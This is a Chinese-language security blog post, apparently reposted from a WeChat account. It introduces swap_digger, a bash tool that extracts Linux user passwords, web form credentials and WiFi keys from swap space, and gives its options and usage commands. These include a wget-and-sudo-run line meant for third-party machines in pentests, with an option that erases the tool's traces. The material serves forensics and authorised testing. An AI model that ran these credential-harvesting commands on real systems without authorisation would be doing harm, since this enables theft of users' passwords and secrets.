利用swap_digger获取凭证

admin 2024年1月15日08:38:31评论17 views字数 2491阅读8分18秒阅读模式

工具介绍

swap_digger 是一个 bash 脚本,用于自动化 Linux 交换分析 后利用或取证目的。它自动提取交换并 搜索 Linux 用户凭据、Web 表单凭据、Web 表单电子邮件、 HTTP基本认证、WiFi SSID和密钥等

下载安装

项目地址:https://github.com/sevagas/swap_digger

参数详情

 ./swap_digger.sh [ OPTIONS ]
 Options : 
  -x, --extended    Run Extended tests on the target swap to retrieve other interesting data
        (web passwords, emails, wifi creds, most accessed urls, etc)
  -g, --guessing  Try to guess potential passwords based on observations and stats
        Warning: This option is not reliable, it may dig more passwords as well as hundreds false positives.
  -h, --help    Display this help.
  -v, --verbose Verbose mode.
  -l, --log Log all outputs in a log file (protected inside the generated working directory).
  -c, --clean Automatically erase the generated working directory at end of script (will also remove log file)
  -r PATH, --root-path=PATH   Location of the target file-system root (default value is /)
        Change this value for forensic analysis when target is a mounted file system.
        This option has to  be used along the -s option to indicate path to swap device.
  -s PATH, --swap-path=PATH   Location of swap device or swap dump to analyse
        Use this option for forensic/remote analysis of a swap dump or a mounted external swap partition.
        This option should be used with the -r option where at least /<root-path>/etc/shadow exists.
  -S, --swap-search   Search for all available swap devices (use for forensics).
./swap_digger.sh [选项]
  选项 :
   -x, --extended 在目标交换上运行扩展测试以检索其他有趣的数据
         (网络密码、电子邮件、wifi 信用、最常访问的网址等)
   -g, --guessing 尝试根据观察和统计数据猜测潜在的密码
         警告:此选项不可靠,它可能会挖掘更多密码以及数百个误报。
   -h, --help 显示此帮助。
   -v, --verbose 详细模式。
   -l, --log 将所有输出记录在日志文件中(在生成的工作目录中受保护)。
   -c, --clean 自动删除脚本末尾生成的工作目录(还将删除日志文件)
   -r PATH, --root-path=PATH 目标文件系统根目录的位置(默认值为 /)
         当目标是已安装的文件系统时,更改此值以进行取证分析。
         此选项必须与 -s 选项一起使用以指示交换设备的路径。
   -s PATH, --swap-path=PATH 要分析的交换设备或交换转储的位置
         使用此选项对交换转储或已安装的外部交换分区进行取证/远程分析。
         此选项应与 -r 选项一起使用,其中至少存在 /<root-path>/etc/shadow。
   -S, --swap-search 搜索所有可用的交换设备(用于取证)。

使用示例

git clone https://github.com/sevagas/swap_digger.git
cd swap_digger
chmod +x swap_digger.sh
sudo ./swap_digger.sh -vx

利用swap_digger获取凭证

利用swap_digger获取凭证

如果您只需要恢复明文Linux用户密码,只需运行:

sudo ./swap_digger.sh

在你的机器上

使用以下命令在您的计算机上下载并运行脚本:

git clone https://github.com/sevagas/swap_digger.git
cd swap_digger
chmod +x swap_digger.sh
sudo ./swap_digger.sh -vx

利用swap_digger获取凭证

在已安装的硬盘驱动器上

要在已安装的硬盘驱动器上使用 swap_digger,请执行以下操作:

首先,使用以下命令下载脚本:

git clone https://github.com/sevagas/swap_digger.git
cd swap_digger
chmod +x swap_digger.sh

然后,使用以下命令找到目标交换文件/分区:

sudo ./swap_digger.sh -S

最后,通过运行分析目标:

sudo ./swap_digger.sh -vx -r path/to/mounted/target/root/fs -s path/to/target/swap/device

在第三方机器上

使用以下命令在第三方计算机上下载并运行脚本(对于渗透测试和 CTF 有用):

wget https://raw.githubusercontent.com/sevagas/swap_digger/master/swap_digger.sh
chmod +x swap_digger.sh
sudo ./swap_digger.sh -vx -c

注意:使用-c选项自动删除由swap_digger (/tmp/swap_dig)创建的目录。

End

原文始发于微信公众号(贝雷帽SEC):利用swap_digger获取凭证

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月15日08:38:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用swap_digger获取凭证https://cn-sec.com/archives/2393725.html

发表评论

匿名网友 填写信息